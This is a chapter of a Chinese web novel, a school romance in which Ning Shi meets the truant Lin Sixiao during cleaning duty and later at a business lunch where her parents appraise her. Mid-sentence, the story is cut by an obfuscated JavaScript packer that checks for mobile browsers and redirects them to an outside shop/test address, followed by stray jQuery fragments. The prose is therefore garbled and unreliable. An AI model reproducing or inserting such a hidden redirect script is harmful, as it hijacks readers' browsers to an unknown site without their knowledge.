第二天放学,宁诗才知道,他所谓的送就是在远一点的地方跟着她。
她回头,视线落在和她差着几米远距离的林思骁。
“……”
林思骁是下周一才回的学校,在朝会上,一片片昏睡之中,校长在主席台上操着一口方言夹杂的普通话讲的慷慨激昂,洪亮的声音通过音响在操场每一个角落响起。
“我们雨安一中自建校以来,学风都优良优纪,但是除了个别人。”
他战术性停顿了一下。
“高二四班的林思骁无顾旷课,视校规校纪为摆设,因此记个过。”
宁诗抬眼,朝着四班的方向看去,在他们后排他极为明显,肤色冷白,抬眼看着主席台,没什么情绪变化。
注意到她这边的视线,林思骁侧头,俩人视线隔着几个班对视上,他朝着她轻笑,挥了挥手,打了招呼。
耳边,虞冉还在喋喋不休和她八卦。
宁诗收回视线,偶尔附和着虞冉漫不经心的应几句声。
朝会解散,操场上的人一窝蜂散开,校园骤然变得闹嚷,人流拥挤,时不时和人撞到。
宁诗和一些嘴贱的男生擦肩而过,还能听到他们嬉皮笑脸的声音:“宁诗,你那校外男朋友分了没啊。”
虞冉有些忿忿不平,拳头攥紧,回怼着:“你们有病吧?”
她侧回头,安慰着:“诗诗,那群人就会耍点嘴皮子,别听进心里。”
宁诗也没太在意,这句话反反复复从高一听到现在,他们也没能想出新花样,都听腻了,她摇头:“没听进心里。”
她们没回教学楼,拐了个弯去了学校超市,里面人很多,人都聚这儿,有些发热,额头沁了点薄汗。
虞冉拉着宁诗到饮料柜那儿,打开柜门,她蹲下身头也不回,熟练的去拿黄色包装瓶的小茗同学:“还是这个口味吗?”
从这果茶上市后,宁诗就格外喜欢喝,各种口味试了一遍,最后发现自己就好青柠红茶口味的。
她接过饮料,杯壁有一层水雾,刚碰上,手心被濡湿了些。
收银台排队的人还挺多,从收银台,一直排到第二个货架,宁诗和虞冉绕了道去排队。
幸好收银台的工作人员手脚麻利,让她俩卡着上课铃回教室,前脚刚进教室,后脚老师从前门进来。
时间卡的刚刚好,虞冉松了口气,把饮料瓶放桌上,感叹了一句:“我们俩这时间卡的刚好啊,晚回一秒就要被撞上。”
这节课是地理课,地理老师是学校的老教师,管得严也是学校出了名的,每次一有人迟到,后面一个月,在她的课都必须得去后面站着。
课上,宁诗听的昏昏欲睡,强撑着精神听,几门学科里,她最不擅长的就是地理,每次听着,就想睡觉。
她手支着头,另外一只手没自觉的在课桌上划了个旋儿。
……
学校里的公共区域是划分好了,每个班级都有专门负责的地方,班级里又是分成小组,每周轮流打扫公共区域的卫生。
这周轮到宁诗她们组,班里人比较多,算下来一个学期只需要打扫三四回。
她们班负责的区域是快靠近学校后花园的后门,后门是基本快荒废的门,也没有装监控,就一扇生锈的铁门。
班里的男生一向挺乐于助人,没让女生拿簸箕和扫把,宁诗手空着,虞冉和她手挽手的去班上负责的公共区域。
最开始虞冉和她手挽手,她还有些不习惯,下意识想推开,但后来也赖不住虞冉赖着,现在也习惯了。
一个男生把簸箕和扫把丢地上,宁诗弯腰捡起一把扫把,朝着铁门那边走,那儿有条小道,门在小道后面。
这里没什么人来,垃圾很少,基本都是一些占着这里没监控来抽烟的学生留下的烟头以及烟灰。
刚走几步,她脚步顿住,视线落在门旁边几个少年里最中间、显眼的那个。
脸部线条干净利落,穿着藏青色冲锋衣,衬的他皮肤更加冷白,一股锋利的气质。
林思骁?
里面站了好几个男生,宁诗拎着扫把一时间不知道该不该进去。
想了会儿,还是进去,垂着眼扫地。
“宁诗?”很清冽的声音,尾音微微上扬。
宁诗现在已经能听出来林思骁的声音,她没抬眼回了一句:“嗯。”
林思骁似乎被呛到,连着咳嗽好几声,余光瞥见他抬腿踢了旁边人一下,力道很轻。
“骁哥踢我干嘛?”
林思骁没说话。
紧接着。
“哦。”其中一个少年应下。
零零散散的脚步声在旁边响起,渐渐走远、消失,视线里多出一双运动鞋,不用想也知道是谁。
“给我吧。”他手递过来,袖子被他挽上去一截,露出的手臂经络凸出,手腕骨上一颗黑痣。
不得不承认,林思骁的手也是极为好看的,指节骨瘦削分明。
林思骁朝着刚才他们站的地儿微微抬了抬下颌,脸色没什么变化,声线平缓,不疾不徐:“我们自己搞的,麻烦你们不太行。”
到最后宁诗还是没把扫把给他,毕竟这是她自己的事,心里过意不去不说,被别人看到也麻烦,况且,这一片公共区域对比其他班负责的区域,相对来说比较干净了。
林思骁也没强求的意思,他轻笑:“成。”
宁诗把头发扎起,露出雪白的脖颈,敛眸扫着地,忽地她想起这个点儿快到下午第一节课了,随口问了一句:“快上课了,你不去?”
林思骁薄薄的眼皮抬起,漫不经心掠过她一眼。旁若无人地点烟,他吐出烟:“你觉得我属于会老实上课的?”
烟味混入她的鼻腔里,宁诗抬手扇了扇,嗤一声:“老烟囱。”
林思骁指尖一顿,食指曲着,他反应过来笑着:“骂我呢。”
宁诗没回答这句话,她把这片地打扫完,拎着扫把和簸箕,往其他人那儿走,他们也正好打扫完。
林思骁盯着她往教学楼走的背影,蓦地笑了,垂眸看着才吸了一口的烟,只觉得兴致阑珊,把烟熄灭丢进垃圾桶,回教室。
他在的四班是年级里最乱的班级,里面聚集着的都是中考买进来的关系户,没人能管,很乱。
林思骁把他座位旁边的椅子踢开,插着兜坐着,从桌洞里翻出魔方把玩着,脚踩在椅子杠上。
前桌侧头,朝着他“吁”了一声,手撑在桌上微微起身看了眼他手里被拼成同一面的魔方问:“骁哥,你认识宁诗啊?”
闻言,林思骁手上动作止住,他蹭的抬头,心虚瞪他一眼,警告着:“不认识,今天我和她聊了几句的事儿也别让那几个说出去了。”
前桌叫做池栖岳,是高一刚开学他被几个高三男的约架,当时这个学校和谁都不熟,只有林思骁帮他,从那天起他就死心塌地的和林思骁开始玩。
池栖岳比了一个OK的手势,另外只手拍了拍胸脯,仰着下巴:“放心吧,肯定完成。”
林思骁挑眉,把魔方丢进桌洞,砸出一声闷响,伴随着他的声音:“行了,快上课了,你好好听。”
……
放学的时候,宁诗熟练的侧头,往旁边的街道瞥,前俩天站着那人的地方,已经空了,视线继续往旁边挪。
林思骁提着件校服外套,似乎没注意到她看着,往天上抛又接住,反反复复,宁诗饶有兴致地挑眉,收回视线,顿住脚步:“那个。”
林思骁动作一顿,抛在天上的校服直直落在他的肩:“怎么了?”
宁诗摇摇头,她唇角挑起,压下,阖上眼又睁开:“他应该不会来了,所以不用送我了。”
林思骁也干净利落的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135518|150071||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
应下:“行。”
没等宁诗说话,他转身离开,直到身影消失在她视线里时,宁诗才抬脚继续往家里走。
……
后面的一周宁诗没有再看见过林思骁,也只从别人的只言片语中,偶尔捕捉到他今天在学校干什么,俩个班的距离一整个长廊,也很少能见到他。
周末那天,晨光从窗外撒进来,房间门外响起一阵一阵敲门声。
宁诗缩在被窝里,眉头蹙着,实在受不了,阖着的眼睁开,双眸里带着困倦,趿拉着拖鞋去开门。
付兰穿着围裙,手里拿着锅铲,上面还附了点油渍,她皱眉上下打量了一圈:“你这样别让外人见到了,赶紧起床收拾一下,中午去见人。”
宁诗把门半掩着,门在门框里摇摇欲坠,她坐会床上看了眼时间,七点零八,离她定的闹钟还差半个小时。
她拍了拍脸,起身进了浴室,捧了一抔水扑在脸上,刺骨的凉意让她彻底清醒。
想着等会儿要见外人,从衣柜里挑了一件碎花连衣裙,手腕上的黑皮筋咬在嘴里,动作利落的扎了一个丸子头,觉得不合适,又取下皮筋,还是扎了一个半扎发型。
梳妆台上放了一个白色盒子,打开,里面是各式各样的发饰,随手挑了一个发夹别在脑后。
吃了早饭,就要开始练琴。
快到中午,付兰推开门,她已经换好衣服,耳垂上是珍珠耳饰,一身红色的西装包臀裙,只看了一眼宁诗收回视线,把琴重新放回包里。
付兰上下扫了她一眼,忽地皱眉,上前一步把她的外套扣子扣上,这才退了几步,手腕上戴着块表,她看了一眼:“快到时间了,走吧。”
目的地是在一家私人会所,从大门往上看,门口挂着的门匾,蓝底,手写字,旁边的俩根柱子看着金灿灿的。
推开玻璃门,宁远沿把预约信息递给服务员看。
服务员领着他们径直穿过走廊,停在中间的一个包厢前,微微弓着身,手臂抬起:“先生,就在这间。”
她推开门,里面的包厢环境一览无余,很明亮的环境,后面摆放着长方形鱼缸,里面已经坐了一个人,西装革履,看着威严,后面站着一位同样黑西装的男士,大概率是助理,
宁远沿和付兰从进门开始脸上堆着笑脸,带着谄媚,一点儿也看不出平时的傲慢和清高:“王总你好。”
王总从电脑上收回视线,落在她身上,这股视线让宁诗不是很好受,一种就像衡量商品价值的眼神,他问:“这就是宁诗吧,果真和你们说的一样。”
宁诗察觉到手臂被拐了一下,她扯出笑,打着招呼:“您好,我叫宁诗。”
落座后的谈论不需要她参与了,她漠然的坐在一边,偶尔夹一筷子的菜,宁诗就像和他们划开一道天然的界限,远离着他们。
他们交谈声落在宁诗耳边,毫无顾忌地说着她的优缺点,探讨着她的商业价值。
宁诗放在膝盖上的手逐渐攥紧,垂着眸盯着裙子的碎花,她起身推开椅子,淡笑:“我有点不方便,失陪一下。”
离开了包厢,周围变得清净,她倚在门上松了口气,整理了一下裙子,看了一圈四周,找到厕所的标识牌,往那边走。
还没走几步,迎面撞上一人,她抬眼,林思骁有些错愕,外面套着黑色连帽卫衣,里面的白色衬衫领从衣领里翘起。
宁诗一怔,反应过来,顺着他背后看去,几个陌生男子围在他后面,她问:“你怎么在这儿?”
林思骁摇头,竖着手指抵在唇边,他想了想收回手问:“你现在有空吗?”
宁诗一愣,随后摇头。
“抱歉了。”林思骁隔着袖子拉着她的袖子一角,带着她跑出大门,拐了几条马路才松开。
宁诗在原地喘了口气,看着周围几乎没人的街道问:“你拉着我来这儿干嘛?”